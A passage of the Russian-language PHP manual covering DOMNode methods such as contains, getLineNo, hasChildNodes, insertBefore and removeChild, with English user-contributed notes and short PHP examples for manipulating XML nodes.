cemkalyoncu at gmail dot com 28-Apr-2009 03:04
If you need some function to clone a node without touching namespaces you can use the following.

<?php
private function cloneNode($node,$doc){
    $nd=$doc->createElement($node->nodeName);

    foreach($node->attributes as $value)
        $nd->setAttribute($value->nodeName,$value->value);

    if(!$node->childNodes)
        return $nd;

    foreach($node->childNodes as $child) {
        if($child->nodeName=="#text")
            $nd->appendChild($doc->createTextNode($child->nodeValue));
        else
            $nd->appendChild(cloneNode($child,$doc));
    }

    return $nd;
}
?>
[montana] at [percepticon] dot [com] 16-Feb-2009 02:23
<?php

//@oliver thanks for example source...

/*
 cloneNode(false) does not omit
 Attributes of cloned node,
 to achieve this an iteration is required.
 this is probably less efficient
 than merely creating a new
 node from the desired nodeName
 but in some cases could be useful.

use case:

omit subnodes and attributes of
secured portions of an xml document
without altering expected general structure;
*/
//xml to use

$file="<?xml version='1.0'?>
<book type='paperback'>
    <title name='MAP'>Red Nails</title>
    <price>$12.99</price>
    <author>
        <name first='Robert' middle='E' last='Howard'/>
        <birthdate disco='false' nirvana='definitely'>
            9/21/1977
            <month title='september' />
        </birthdate>
    </author>
    <author>
        <name first='Arthur' middle='Mc' last='Kayn'/>
    </author>
</book>";

$doc = new domDocument;

$doc->loadXML($file);

$xpath = new domXPath($doc);

$query = "//author/birthdate";
$xpathQuery = $xpath->query($query);

//would be a loop in production code...
$child = $xpathQuery->item(0);

$parent = $child->parentNode;

$doppel = $child->cloneNode(false);

$limit = $doppel->attributes->length;

for ($a=0;$a<$limit;$a++) {
    $doppel->removeAttributeNode($doppel->attributes->item(0));
}
//swap for now empty node
$parent->replaceChild( $doppel, $child);

print $doc->saveXML();

?>
oliver dot christen at camptocamp dot com 19-Nov-2004 08:48
simple exemple of node cloning

<?xml version="1.0"?>

<book type="paperback">
    <title name='MAP'>Red Nails</title>
    <price>$12.99</price>
    <author>
        <name first="Robert" middle="E" last="Howard"/>
        <birthdate>9/21/1977</birthdate>
    </author>
    <author>
        <name first="Arthur" middle="Mc" last="Kayn"/>
    </author>
</book>

<?php

//filename xml file to use
$file = 'book.xml';

$doc = new domDocument;

if (file_exists($file)) {
    $doc->load($file);
} else {
    exit('Erreur !.');
}

$xpath = new domXPath($doc);

$query = "//author/*";
$xpathQuery = $xpath->query($query);

$size = $xpathQuery->length;
for ($i=0; $i<$size; $i++){
    $node = $xpathQuery->item($i);
    if ($node->nodeName == 'birthdate' && $node->hasChildNodes() && $node->firstChild->textContent != ''){
        $clonenode = $node->cloneNode(true);
        $refnode = $node;
    }
}
for ($i=0; $i<$size; $i++){
    $node = $xpathQuery->item($i);
    if (!$node->isSameNode($refnode)){
        $newnode = $node->appendChild($clonenode);
    }
}

print $doc->saveXML();

?>


Проверяет, содержит ли узел другой узел

  • « DOMNode::cloneNode
  • DOMNode::getLineNo »
  • PHP Manual
  • DOMNode
  • Проверяет, содержит ли узел другой узел

DOMNode::contains

(PHP 8 >= 8.3.0)

DOMNode::contains — Проверяет, содержит ли узел другой узел

Описание

public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool

Проверяет, содержит ли узел другой узел — переданный в параметр other.

Список параметров

other

Узел, который нужно проверить.

Возвращаемые значения

Возвращает true, если узел содержит узел, заданный параметром other, иначе false.

Примеры

Пример #1 Пример использования метода DOMNode::contains()

<?php

$dom = new DOMDocument();
$dom->loadXML(<<<XML
<!DOCTYPE HTML>
<html>
<body>
<main>
<p>Привет, мир!</p>
</main>
</body>
</html>
XML);

$xpath = new DOMXPath($dom);
$main = $xpath->query("//main")[0];

var_dump($dom->documentElement->contains($main));
?>

Результат выполнения приведённого примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Получает номер строки узла

  • « DOMNode::contains
  • DOMNode::getNodePath »
  • PHP Manual
  • DOMNode
  • Получает номер строки узла

DOMNode::getLineNo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DOMNode::getLineNo — Получает номер строки узла

Описание

public DOMNode::getLineNo(): int

Получает номер строки, в которой во время разбора был определён узел.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает номер строки, в которой во разбора был определён узел. Если узел был создан вручную, вернётся 0.

Примеры

Пример #1 Пример использования метода DOMNode::getLineNo()

<?php
// Определение необходимого для примера XML
$xml = <<<XML
<?xml version="1.0" encoding="utf-8"?>
<root>
<node />
</root>
XML;

// Создание нового экземпляра DOMDocument
$dom = new DOMDocument;

// Загрузка XML
$dom->loadXML($xml);

// Вывод номер строки, в которой определён элемент 'node'
printf('Тег <node> определён в строке %d', $dom->getElementsByTagName('node')->item(0)->getLineNo());
?>

Результат выполнения приведённого примера:

Тег <node> определён в строке 3

User Contributed Notes

ruud at vanmelick dot com 25-Oct-2013 09:15
The 65535 line number limit is no longer a problem when you use libxml 2.9 or higher, but you have to explicitly enable support for big line numbers:

<?php
define('XML_PARSE_BIG_LINES', 4194304);
$dom = new DOMDocument;
$dom->loadXML($xml, XML_PARSE_BIG_LINES);
?>
Anonymous 19-May-2012 02:21
The DOMNode::getLineNo() method doesn't work properly due to a libxml2 bug.

https://bugzilla.gnome.org/show_bug.cgi?id=676026
luke dot NOREPLY at webconnex dot com 04-Mar-2011 06:28
This function is buggy. It doesn't always return the correct line number, especially for text elements. As an alternative you can do something like this:

<?php
$text = $node->ownerDocument->saveXML($node);
$line += substr_count($text, "\n");
?>

You'll want to keep a reference to $line (starting at 0) and add to it as you parse over the document recursively.

In order for this to work you have to tell DOMDocument to preserve white space before loading the document.


Получение XPath узла

  • « DOMNode::getLineNo
  • DOMNode::getRootNode »
  • PHP Manual
  • DOMNode
  • Получение XPath узла

DOMNode::getNodePath

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DOMNode::getNodePath — Получение XPath узла

Описание

public DOMNode::getNodePath(): ?string

Получает путь XPath, по которому расположен узел.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string), содержащую XPath либо null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования DOMNode::getNodePath()

<?php
// Создание объекта DOMDocument
$dom = new DOMDocument;

// Загрузка XML
$dom->loadXML('
<fruits>
<apples>
<apple>braeburn</apple>
<apple>granny smith</apple>
</apples>
<pears>
<pear>conference</pear>
</pears>
</fruits>
');

// Вывод XPath для каждого элемента
foreach ($dom->getElementsByTagName('*') as $node) {
echo $node->getNodePath() . "\n";
}
?>

Результат выполнения приведённого примера:

/fruits
/fruits/apples
/fruits/apples/apple[1]
/fruits/apples/apple[2]
/fruits/pears
/fruits/pears/pear

Смотрите также

  • DOMXPath

User Contributed Notes

There are no user contributed notes for this page.


Получает корневой узел

  • « DOMNode::getNodePath
  • DOMNode::hasAttributes »
  • PHP Manual
  • DOMNode
  • Получает корневой узел

DOMNode::getRootNode

(PHP 8 >= 8.3.0)

DOMNode::getRootNode — Получает корневой узел

Описание

public DOMNode::getRootNode(?array $options = null): DOMNode

Получает корневой узел.

Список параметров

options

Параметр пока ни на что не влияет.

Возвращаемые значения

Метод возвращает корневой узел.

Примеры

Пример #1 Пример использования метода DOMNode::getRootNode()

<?php

$dom = new DOMDocument();
$dom->loadXML('<?xml version="1.0"?><html><body/></html>');

var_dump($dom->documentElement->firstElementChild->getRootNode() === $dom);
?>

Результат выполнения приведённого примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, имеет ли данный узел атрибуты

  • « DOMNode::getRootNode
  • DOMNode::hasChildNodes »
  • PHP Manual
  • DOMNode
  • Проверяет, имеет ли данный узел атрибуты

DOMNode::hasAttributes

(PHP 5, PHP 7, PHP 8)

DOMNode::hasAttributes — Проверяет, имеет ли данный узел атрибуты

Описание

public DOMNode::hasAttributes(): bool

Этот метод проверяет, содержит ли текущий узел атрибуты. Проверяемый узел должен быть XML_ELEMENT_NODE.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMNode::hasChildNodes() - Проверяет, имеет ли данный узел потомков

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, имеет ли данный узел потомков

  • « DOMNode::hasAttributes
  • DOMNode::insertBefore »
  • PHP Manual
  • DOMNode
  • Проверяет, имеет ли данный узел потомков

DOMNode::hasChildNodes

(PHP 5, PHP 7, PHP 8)

DOMNode::hasChildNodes — Проверяет, имеет ли данный узел потомков

Описание

public DOMNode::hasChildNodes(): bool

Эта функция проверяет, содержит ли данный узел потомков.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMNode::hasAttributes() - Проверяет, имеет ли данный узел атрибуты

User Contributed Notes

Anonymous 21-Mar-2015 04:33
Hi what if its a dynamic file and we cannot use get elements by tag name then how do we print the contents of all level tags?
richard dot gildx at gmail dot com 29-Jul-2012 01:20
This "hasChildNodes()" exercise is simple enough to make it clear and understandable. Or, you could take it as a tag empty check. By Richard Holm, Sweden.

<?php
$xmldoc=
'<?xml version="1.0" ?>
<root>
<text>Text</text>
<none/>
<empty></empty>
<space> </space>
</root>';

$domdoc=new DOMDocument();
$domdoc->loadXML($xmldoc);

$tag=$domdoc->getElementsByTagName('root')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('text')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('none')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('empty')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('space')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";
?>

Output:
root hasChildNodes
text hasChildNodes
none hasNoChildNodes
empty hasNoChildNodes
space hasChildNodes
sansana 14-Oct-2010 07:04
Personally I think using a simple:[code]if($DOMNode->childNodes <>0){}[/code] works better.
syngcw at syncgw.com 04-Jan-2010 05:53
This function is a bit tricky. If you want to find XML childnodes it is useless. You need to create a work-around:

<?php

$x = new DOMDocument();
$x->loadXML('
<A>
 <B>b-text</B>
 <C>
  <D>d-text</D>
 </C>
 <E/>
</A>');

shownode($x->getElementsByTagName('A')->item(0));
function shownode($x) {
 foreach ($x->childNodes as $p)
  if (hasChild($p)) {
      echo $p->nodeName.' -> CHILDNODES<br>';
      shownode($p);
  } elseif ($p->nodeType == XML_ELEMENT_NODE)
   echo $p->nodeName.' '.$p->nodeValue.'<br>';
}
function hasChild($p) {
 if ($p->hasChildNodes()) {
  foreach ($p->childNodes as $c) {
   if ($c->nodeType == XML_ELEMENT_NODE)
    return true;
  }
 }
 return false;
}

?>

shows:
B b-text
C -> CHILDNODES
D d-text
E
jintoppy at gmail dot com 28-Apr-2009 04:13
<?php

$doc = new DOMDocument;
$node = $doc->createElement("FirstMain", "First Main Node. This have child");
$doc->appendChild($node);
$childnode = $doc->createElement("childnode", "child node");
$node->appendChild($childnode);
$secondnode = $doc->createElement("SecondMain", "First Main Node. This don't have child");
$doc->appendChild($secondnode);
$doc->saveXML();
$nodeElmt = $doc->getElementsByTagName("FirstMain");
/*
if given as $nodeElmt = $doc->getElementsByTagName("childnode");
the output would be "This node has childnodes"

if given as $nodeElmt = $doc->getElementsByTagName("SecondMain");
the output would be "This node has no childnodes"

*/

foreach($nodeElmt as $nodeElmt)
{
if($nodeElmt->hasChildNodes())
{
echo "This node has childnodes";
}
else
{
echo "This node has no childnodes";
}
}

  ?>

- - - - - - - - - - - - - -

Output:

This node has childnodes

- - - - - - - - - - - - - -


Добавляет новый дочерний узел перед указанным узлом

  • « DOMNode::hasChildNodes
  • DOMNode::isDefaultNamespace »
  • PHP Manual
  • DOMNode
  • Добавляет новый дочерний узел перед указанным узлом

DOMNode::insertBefore

(PHP 5, PHP 7, PHP 8)

DOMNode::insertBefore — Добавляет новый дочерний узел перед указанным узлом

Описание

public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false

Данная функция вставляет новый узел перед указанным узлом. Чтобы вносить изменения в добавленный дочерний узел, необходимо использовать возвращаемый узел.

При использовании существующего узла он будет перемещён.

Список параметров

node

Новый узел.

child

Контрольный узел. Если отсутствует, то node добавляется в конец списка потомков.

Возвращаемые значения

Возвращает добавленный узел или false в случае возникновения ошибки.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения или предыдущий родитель вставляемого узла доступен только для чтения.

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип узла не поддерживает потомков типа, который имеет узел node, или же если добавляемый узел является предком целевого узла или им самим.

DOM_WRONG_DOCUMENT_ERR

Возникает, если node создан в другом документе, отличном от того, в котором был создан этот узел.

DOM_NOT_FOUND

Возникает, если child не является дочерним узлом данного узла.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков

User Contributed Notes

jarry1250 at gmail dot com 30-May-2015 01:59
Note that supplying the same node for $newnode and $refnode leads to an E_WARNING ("Couldn't add newnode as the previous sibling of refnode"). For example imagine one wanted to make $newnode the first child of its parent by doing:

<?php
$firstSibling = $newnode->parentNode->firstChild;
// Bad:
$newnode->parentNode->insertBefore( $newnode, $firstSibling );
?>

This would generate a warning if it already was the first child of its parent, since $newnode and $firstSibling are identical. Easy to work around though:

<?php
$firstSibling = $newnode->parentNode->firstChild;
// Better:
if( $newnode !== $firstSibling ) {
    $newnode->parentNode->insertBefore( $newnode, $firstSibling );
}
?>
DrTebi at Yahoo 03-Oct-2007 05:54
Sorry, my previous posting worked only for the top node. Here the corrected version, which will work for any node:

XML
----
<?xml version="1.0"?>
<contacts>
  <person>Adam</person>
  <person>Eva</person>
  <person>Thomas</person>
</contacts>

PHP
---
<?php
// load XML, create XPath object
$xml = new DomDocument();
$xml->preserveWhitespace = false;
$xml->load('contacts.xml');
$xpath = new DOMXPath($xml);

// get node eva, which we will append to
$eva = $xpath->query('/contacts/person[.="Eva"]')->item(0);

// create node john
$john = $xml->createElement('person', 'John');

// insert john after eva
//   "in eva's parent node (=contacts) insert
//   john before eva's next node"
// this also works if eva would be the last node
$eva->parentNode->insertBefore($john, $eva->nextSibling);

// show result
header('Content-Type: text/plain');
print $xml->saveXML();
?>

Result
------
<?xml version="1.0"?>
<contacts>
  <person>Adam</person>
  <person>Eva</person><person>John</person>
  <person>Thomas</person>
</contacts>
justin at redwiredesign dot com 07-Feb-2007 08:20
The previous example is incorrect, and causes a DOM_NOT_FOUND error, as the child nodes are not direct descendants of the root node.

Therefore, the line:

$parent_path = "/root";

needs to change to:

$parent_path = "/root/parent";

or

$parent_path = "//parent";

for this example to work
jg at handcode dot de 18-Aug-2005 12:18
example to insert <newnode/> between <chid1/> and <child2/>

<?xml version="1.0" encoding="ISO-8859-1" ?>
<root>
  <parent>
    <child nr="1"/>
    <child nr="2"/>
  </parent>
</root>

<?php

$xml_src = 'test.xml';

// XPath-Querys
$parent_path = "//parent";
$next_path = "//parent/child[@nr='2']";

// Create a new DOM document
$dom = new DomDocument();
$dom->load($xml_src);

// Find the parent node
$xpath = new DomXPath($dom);

// Find parent node
$parent = $xpath->query($parent_path);

// new node will be inserted before this node
$next = $xpath->query($next_path);

// Create the new element
$element = $dom->createElement('newnode');

// Insert the new element
$parent->item(0)->insertBefore($element, $next->item(0));

echo $dom->saveXML();

?>
Jerry Ellis 03-Jun-2005 12:45
1st argument) a node to insert
2nd argument) a reference node - this is the node that the new node will be inserted before

The trick to using this method is that the OBJECT on which you actually CALL the insertBefore() method is actually the PARENT node of the reference node!

INCORRECT:
$DOMNode_refNode->insertBefore($DOMNode_newNode, $DOMNode_refNode);

CORRECT:
$DOMNode_refNode->parentNode->insertBefore($DOMNode_newNode, $DOMNode_refNode);


Проверяет, является ли указанный URI пространства имён узла пространством имён по умолчанию или нет

  • « DOMNode::insertBefore
  • DOMNode::isEqualNode »
  • PHP Manual
  • DOMNode
  • Проверяет, является ли указанный URI пространства имён узла пространством имён по умолчанию или нет

DOMNode::isDefaultNamespace

(PHP 5, PHP 7, PHP 8)

DOMNode::isDefaultNamespace — Проверяет, является ли указанный URI пространства имён узла пространством имён по умолчанию или нет

Описание

public DOMNode::isDefaultNamespace(string $namespace): bool

Указывает, является ли namespace пространством имён по умолчанию.

Список параметров

namespace

URI пространства имён.

Возвращаемые значения

Возвращает true, если namespace является пространством имён по умолчанию, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, что оба узла идентичны

  • « DOMNode::isDefaultNamespace
  • DOMNode::isSameNode »
  • PHP Manual
  • DOMNode
  • Проверяет, что оба узла идентичны

DOMNode::isEqualNode

(PHP 8 >= 8.3.0)

DOMNode::isEqualNode — Проверяет, что оба узла идентичны

Описание

public DOMNode::isEqualNode(?DOMNode $otherNode): bool

Проверяет оба узла на идентичность.

Список параметров

otherNode

Узел.

Возвращаемые значения

Возвращает true, если оба узла идентичны, иначе false.

Примеры

Пример #1 Пример использования метода DOMNode::isEqualNode()

<?php

$dom1 = (new DOMDocument())->createElement('h1', 'Привет, мир!');
$dom2 = (new DOMDocument())->createElement('h1', 'Привет, мир!');

var_dump($dom1->isEqualNode($dom2));
?>

Результат выполнения приведённого примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Указывает, являются ли два узла одним и тем же узлом

  • « DOMNode::isEqualNode
  • DOMNode::isSupported »
  • PHP Manual
  • DOMNode
  • Указывает, являются ли два узла одним и тем же узлом

DOMNode::isSameNode

(PHP 5, PHP 7, PHP 8)

DOMNode::isSameNode — Указывает, являются ли два узла одним и тем же узлом

Описание

public DOMNode::isSameNode(DOMNode $otherNode): bool

Эта функция указывает, являются ли два узла одним и тем же узлом. Данное сравнение происходит не на основе содержимого узлов.

Список параметров

otherNode

Сравниваемый узел.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, поддерживается ли возможность в определённой версии

  • « DOMNode::isSameNode
  • DOMNode::lookupNamespaceURI »
  • PHP Manual
  • DOMNode
  • Проверяет, поддерживается ли возможность в определённой версии

DOMNode::isSupported

(PHP 5, PHP 7, PHP 8)

DOMNode::isSupported — Проверяет, поддерживается ли возможность в определённой версии

Описание

public DOMNode::isSupported(string $feature, string $version): bool

Проверяет, поддерживается ли указанная возможность feature в определённой версии version.

Список параметров

feature

Проверяемая возможность. Список возможностей приведён в примере к DOMImplementation::hasFeature().

version

Номер версии (feature) для проверки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMImplementation::hasFeature() - Проверяет, реализует ли DOM-реализация интерфейс конкретного модуля DOM

User Contributed Notes

There are no user contributed notes for this page.


Получает URI пространства имён узла по префиксу

  • « DOMNode::isSupported
  • DOMNode::lookupPrefix »
  • PHP Manual
  • DOMNode
  • Получает URI пространства имён узла по префиксу

DOMNode::lookupNamespaceURI

(PHP 5, PHP 7, PHP 8)

DOMNode::lookupNamespaceURI — Получает URI пространства имён узла по префиксу

Описание

public DOMNode::lookupNamespaceURI(?string $prefix): ?string

Получает URI пространства имён узла на основе префикса prefix.

Список параметров

prefix

Префикс, который необходимо искать. Если этот параметр равен null, то метод возвращает URI пространства имён по умолчанию, если таковое имеется.

Возвращаемые значения

Возвращает URI связанного пространства имён или null, если оно не найдено.

Смотрите также

  • DOMNode::lookupPrefix() - Получает префикс пространства имён узла из URI-идентификатора пространства имён

User Contributed Notes

_ michael 30-Apr-2010 02:22
You have to pass *null* to lookupNamespaceURI if you want to read the default namespace. Passing an empty string doesn't work - even though the documentation says that lookupNamespaceURI takes a string as argument (and null would just be converted to an empty string).
lewar 05-Jun-2007 05:20
Simple way to get the URI of the default namespace:

<?php
    $document = new DOMDocument();
    $document->load($xml_file);
    $uri = $document->documentElement->lookupnamespaceURI(NULL);
?>


Получает префикс пространства имён узла из URI-идентификатора пространства имён

  • « DOMNode::lookupNamespaceURI
  • DOMNode::normalize »
  • PHP Manual
  • DOMNode
  • Получает префикс пространства имён узла из URI-идентификатора пространства имён

DOMNode::lookupPrefix

(PHP 5, PHP 7, PHP 8)

DOMNode::lookupPrefix — Получает префикс пространства имён узла из URI-идентификатора пространства имён

Описание

public DOMNode::lookupPrefix(string $namespace): ?string

Метод возвращает префикс пространства имён узла на основе URI-идентификатора пространства имён.

Список параметров

namespace

URI пространства имён.

Возвращаемые значения

Метод возвращает префикс пространства имён или false, если возникла ошибка.

Смотрите также

  • DOMNode::lookupNamespaceUri() - Получает URI пространства имён узла по префиксу

User Contributed Notes

There are no user contributed notes for this page.


Нормализует узел

  • « DOMNode::lookupPrefix
  • DOMNode::removeChild »
  • PHP Manual
  • DOMNode
  • Нормализует узел

DOMNode::normalize

(PHP 5, PHP 7, PHP 8)

DOMNode::normalize — Нормализует узел

Описание

public DOMNode::normalize(): void

Удаляет пустые текстовые узлы и объединяет соседние текстовые узлы в этом узле и всех его дочерних узлов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • » Спецификация DOM
  • DOMDocument::normalizeDocument() - Нормализует документ

User Contributed Notes

Amir Laher 22-Aug-2005 04:45
This is a quote from the DOM level 2 spec, explaining the normalize() function.
----
normalize
Puts all Text nodes in the full depth of the sub-tree underneath this Node, including attribute nodes, into a "normal" form where only structure (e.g., elements, comments, processing instructions, CDATA sections, and entity references) separates Text nodes, i.e., there are neither adjacent Text nodes nor empty Text nodes. This can be used to ensure that the DOM view of a document is the same as if it were saved and re-loaded, and is useful when operations (such as XPointer [XPointer] lookups) that depend on a particular document tree structure are to be used.
----
(source: http://www.w3.org/TR/DOM-Level-2-Core/core.html)

i.e. the idea of normalize is to make text nodes the same as they would be if the xml document was re-loaded into DOM. It's handy if you want to compare DOM nodes.


Удаляет дочерний узел из списка потомков

  • « DOMNode::normalize
  • DOMNode::replaceChild »
  • PHP Manual
  • DOMNode
  • Удаляет дочерний узел из списка потомков

DOMNode::removeChild

(PHP 5, PHP 7, PHP 8)

DOMNode::removeChild — Удаляет дочерний узел из списка потомков

Описание

public DOMNode::removeChild(DOMNode $child): DOMNode|false

Эта функция удаляет дочерний узел из списка потомков.

Список параметров

child

Удаляемый дочерний узел.

Возвращаемые значения

Функция возвращает удаляемый дочерний узел, если он может быть удалён или false в случае возникновения ошибки.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения.

DOM_NOT_FOUND

Возникает, если child не является дочерним узлом данного узла.

Примеры

Следующий пример удаляет элемент chapter (глава) из XML-документа.

Пример #1 Удаление дочернего узла

<?php

$doc = new DOMDocument;
$doc->load('book.xml');

$book = $doc->documentElement;

// находим главу (chapter) и удалям из книги (book)
$chapter = $book->getElementsByTagName('chapter')->item(0);
$oldchapter = $book->removeChild($chapter);

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.1.2//EN"
          "http://www.oasis-open.org/docbook/xml/4.1.2/docbookx.dtd">
<book id="listing">
 <title>My lists</title>

</book>

Смотрите также

  • DOMChildNode::remove() - Удаляет узел
  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMNode::replaceChild() - Заменяет дочерний узел

User Contributed Notes

nggit@phpindonesia 01-Feb-2019 02:29
You can use foreach to remove multiple elements from a DOMNodeList, only if you use a temporary array or via XPath query.
If not, the simplest way will be:

<?php

while ($element = $nodeList->item(0)) {
    $element->parentNode->removeChild($element);
}

?>
Kenney 28-Mar-2013 10:19
This method will remove all child nodes but leave the attributes (and namespace declarations) intact.

<?php
function removeChildren( &$node )
{
  $node->parentNode->replaceChild(
    $n = $node->cloneNode( false ),
    $node );

  $node = $n;
}
?>
drimsun at gmail dot com 11-Feb-2010 03:37
If you try to remove children of a nested node (e.g. a <ul> list that contains another <ul>) and only remove the first level of child nodes, you'll get a messed-up node object.

Upon re-use of the messed-up node you'll get an error message that says: "Fatal error: Call to a member function blahblah() on a non-object".

To remove ALL child nodes, use this recursive function instead:
<?php
/**
 * Helper function that removes all child nodes of $node recursively
 * (i.e. including child nodes of the child nodes and so forth).
 */
function remove_children(&$node) {
  while ($node->firstChild) {
    while ($node->firstChild->firstChild) {
      remove_children($node->firstChild);
    }
    $node->removeChild($node->firstChild);
  }
}
?>
Justin Carlson 05-Nov-2009 11:46
Just a note, if you remove a node the whitespace it occupied will remain if you save the file.

To avoid this, use $document->preserveWhiteSpace = false;

For Example:

<?php
$document = new DomDocument();
$document->preserveWhiteSpace = false;
?>
crazy888s at hotmail dot com 15-Apr-2009 01:50
You can't remove DOMNodes from a DOMNodeList as you're iterating over them in a foreach loop. For example...

<?php
$domNodeList = $domDocument->getElementsByTagname('p');
foreach ( $domNodeList as $domElement ) {
  //  ...do stuff with $domElement...
  $domElement->parentNode->removeChild($domElement);
}
?>

... will seemingly leave the internal iterator on the foreach out of wack and results will be quite strange. Though, making a queue of items to remove seems to work. For example...

<?php
$domNodeList = $domDocument->getElementsByTagname('p');
$domElemsToRemove = array();
foreach ( $domNodeList as $domElement ) {
  // ...do stuff with $domElement...
  $domElemsToRemove[] = $domElement;
}
foreach( $domElemsToRemove as $domElement ){
  $domElement->parentNode->removeChild($domElement);
}
?>
Justin Sheckler 30-Jan-2009 08:44
These two functions might be helpful to anyone trying to delete a node and all of its children:

<?php
function deleteNode($node) {
    deleteChildren($node);
    $parent = $node->parentNode;
    $oldnode = $parent->removeChild($node);
}

function deleteChildren($node) {
    while (isset($node->firstChild)) {
        deleteChildren($node->firstChild);
        $node->removeChild($node->firstChild);
    }
}
?>
tim cameron ryan 19-Jul-2008 01:00
Or something like:

<?php

while ($node->childNodes->length)
     $node->removeChild($node->firstChild);

?>
Michael D (DigitalGemstones.com) 05-Jul-2008 04:15
Note that iterating through the childNodes array and removing those children will stop the iteration.

For example:
<?php
foreach($node->childNodes as $child)
{
  if(iWantToDeleteThisNode($child))
     $child->parentNode->removeChild($child);
}
?>

Will not work.  Note that in removing the node, the childNodes array gets rebuilt (it seems) and so only the first item will be removed.  In order to properly remove all the children you want to remove, you will need to do something like the following:

<?php
$nodesToDelete = array();
foreach($node->childNodes as $child)
{
  if(iWantToDeleteThisNode($child))
    $nodesToDelete[] = $child;
}
foreach($nodesToDelete as $node)
{
  $node->parentNode->removeChild($node);
}
?>

I believe this is actually more efficient than the first snippet would be (if it worked) but obviously I cannot benchmark it.
Wala 04-Apr-2008 10:57
I used the following to delete an entire node using the child element:

<?php
$childElement->parentNode->parentNode-> removeChild($childElement->parentNode);
?>

I could not have thought of it without the help of everyone who contributed to this thread.

Thanks!

(I had to introduce the extra space between parentNode->removeChild to get rid of the wordwrap() warning while posting this note)
Vasil Rangelov 06-Oct-2007 10:14
At the time of writing, I suppose rightfully, removeChild() removes only the selected node, but when you remove an element, it's child elements are not removed. If you want to achieve that, replaceChild() is the solution.

The following should remove all descendants of the $node DOMNode, regardless of it's name:
<?php
$node->replaceChild(new DOMElement($node->nodeName), $node);
?>
If you're replacing the root element, you must explicitly state that with $node->documentElement as the second argument.
mytto at openxtrem dot com 07-Sep-2005 02:20
Back again on removing childs and iterators robustness.

Things get a bit more complicated when you only want to remove 'some' nodes according to a certain condition. Then you can't just remove the first one repeatedly.

The trick is to copy the content of the node list into a more robust collection than DOMNodeList, I name array!

The following piece of code will, for instance, remove all empty child nodes:

<?php
// Copy childNodes array
$childNodes = array();
foreach($node->childNodes as $childNode) {
  $childNodes[] = $childNode;
}

// Browse with the copy
foreach ($childNodes as $childNode) {
  if (!$childNode->hasChildNodes()); {
    $childNode->parentNode->removeChild($childNode);
  }
}
?>
blaine (at) blainegarrett (dot com) 23-Aug-2005 10:10
This might be obvious, but might help someone as well...

If you simply have a node that you need to remove (perhaps from an xpath) and don't know the parent node offhand (the examples seem to assume you have the parent in a variable), then you can do something easy like this...

$node->parentNode->removeChild($node);

parentNode is a scalar property of the Element.

Hope that helps.

--
Blaine Garrett
pedro at leb dot usp dot br 30-May-2005 04:24
You may also use the hasChild function:
<?php

while($node->hasChildNodes()) {
  $node->removeChild($node->childNodes->item(0));
}

?>

When you remove a childNode, the next node becomes the first one!
vsematika at centrum dot cz 13-Feb-2005 03:35
For those who don't understand >sbeam at onsetcorps dot net on 02-Feb-2005 12:07< 'hack', here's a little discussion:

First but *wrong* try would be:
<?php
foreach ($parent->childNodes as $child) {
   $parent->removeChild($child);
?>
This doesn't work because DOM tree id modified on-the-fly and this confuses foreach loop.

The idea behind sbeam's trick is that after removing the first item in the first iteration, the second item in childNodes nodelist immediately becomes the first item. That's why we must _always_ remove the first child. Here's another implementation:

<?php
$count = $parent->childNodes->length;
for ($i = 0; $i < $count; $i++) {
   $oldNode = $parent->removeChild($parent->childNodes->item(0)); // !!! not item($i) !!!
}
?>


Заменяет дочерний узел

  • « DOMNode::removeChild
  • DOMNodeList »
  • PHP Manual
  • DOMNode
  • Заменяет дочерний узел

DOMNode::replaceChild

(PHP 5, PHP 7, PHP 8)

DOMNode::replaceChild — Заменяет дочерний узел

Описание

public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false

Функция заменяет дочерний узел child новым узлом. Если узел node уже является дочерним, то он не будет добавлен во второй раз. Если замена прошла успешно, то будет возвращён старый (заменяемый) узел.

Список параметров

node

Новый узел. Должен быть частью целевого документа, то есть создан посредством одного из методов DOMDocument->createXXX() или импортирован в документ через DOMDocument::importNode.

child

